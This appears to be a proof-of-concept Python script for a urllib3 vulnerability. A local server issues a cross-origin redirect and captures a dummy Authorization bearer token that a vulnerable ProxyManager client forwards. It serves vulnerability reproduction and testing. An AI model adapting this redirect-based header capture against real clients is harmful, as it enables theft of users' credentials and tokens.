Payload

import urllib3
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
import time

# This script demonstrates the vulnerability by running a malicious server and a vulnerable client.
# 1. The Malicious Server listens on http://127.0.0.1:8001.
#    - When it receives a request to /redirect, it issues a 302 redirect to http://localhost:8001/capture.
#      (Note: '127.0.0.1' and 'localhost' are treated as different origins).
#    - The /capture endpoint checks for and prints the 'Authorization' header.
# 2. The Vulnerable Client uses a vulnerable version of urllib3.
#    - It makes a request to http://127.0.0.1:8001/redirect with a sensitive 'Authorization' header.
#    - It uses the specific vulnerable pattern: ProxyManager.connection_from_url().urlopen() with assert_same_host=False.
#
# If the vulnerability is present, the server will print a "SUCCESS" message indicating the token was leaked.

# --- Malicious Server ---
REDIRECT_TARGET = "http://localhost:8001/capture"
SERVER_ADDR = "127.0.0.1"
SERVER_PORT = 8001

class MaliciousRedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/redirect':
            print(f"[SERVER] Received request on /redirect. Redirecting to {REDIRECT_TARGET}")
            self.send_response(302)
            self.send_header('Location', REDIRECT_TARGET)
            self.end_headers()
        elif self.path == '/capture':
            auth_header = self.headers.get('Authorization')
            print("[SERVER] Received redirected request on /capture.")
            if auth_header:
                print(f"\n[!!!] SUCCESS: Vulnerability exploited. Leaked Header: Authorization: {auth_header}\n")
            else:
                print("\n[-] FAILURE: Authorization header was NOT forwarded. The client is likely not vulnerable.\n")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"Captured.")
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, format, *args):
        # Suppress noisy server logs for a clean demonstration
        return

def run_server(httpd):
    print(f"[INFO] Malicious server starting on http://{SERVER_ADDR}:{SERVER_PORT}")
    httpd.serve_forever()

# --- Vulnerable Client ---
def exploit_vulnerability():
    print(f"[CLIENT] Using urllib3 version: {urllib3.__version__}")
    
    initial_url = f"http://{SERVER_ADDR}:{SERVER_PORT}/redirect"
    sensitive_headers = {"Authorization": "Bearer secret-token-that-should-not-be-leaked"}

    # A dummy proxy URL is needed to initialize ProxyManager. It will not be used.
    http = urllib3.ProxyManager("http://dummy-proxy:8080")

    print(f"[CLIENT] Making request to {initial_url} with sensitive headers...")
    try:
        # The specific call pattern mentioned in the CVE description
        conn = http.connection_from_url(initial_url)
        response = conn.urlopen(
            method="GET",
            url=initial_url,
            headers=sensitive_headers,
            redirect=True,
            assert_same_host=False  # This flag allows the cross-origin redirect
        )
        print(f"[CLIENT] Request finished. Final URL: {response.geturl()}, Status: {response.status}")
        response.close()
    except Exception as e:
        print(f"[CLIENT] An error occurred: {e}")

# --- Main Execution ---
if __name__ == "__main__":
    server_address = (SERVER_ADDR, SERVER_PORT)
    httpd = HTTPServer(server_address, MaliciousRedirectHandler)
    
    server_thread = threading.Thread(target=run_server, args=(httpd,))
    server_thread.daemon = True
    server_thread.start()
    
    time.sleep(1)  # Give the server a moment to start up
    
    exploit_vulnerability()
    
    time.sleep(1)  # Allow the server to process and print the final request
    
    httpd.shutdown()
    print("[INFO] Server has been shut down.")